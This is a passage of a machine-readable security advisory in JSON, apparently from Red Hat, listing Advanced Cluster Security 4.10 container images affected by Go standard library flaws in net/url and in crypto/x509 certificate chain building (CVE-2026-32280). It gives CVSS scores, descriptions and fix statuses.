"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "net/url: Incorrect parsing of IPv6 host literals in net/url"
},
{
"cve": "CVE-2026-32280",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-04-08T02:01:19.572351+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2456339"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the Go standard library packages `crypto/x509` and `crypto/tls`. During the process of building a certificate chain, an attacker can provide a large number of intermediate certificates. This excessive input is not properly limited, leading to an uncontrolled amount of work being performed. This can result in a denial of service (DoS) condition, making the affected system or application unavailable to legitimate users.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service vulnerability in the Go standard library\u0027s certificate chain building process. Systems utilizing Go applications that process untrusted TLS certificates or X.509 certificate chains are susceptible to resource exhaustion when presented with an excessive number of intermediate certificates, potentially leading to service unavailability. This flaw impacts applications directly using `crypto/x509` or `crypto/tls`.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
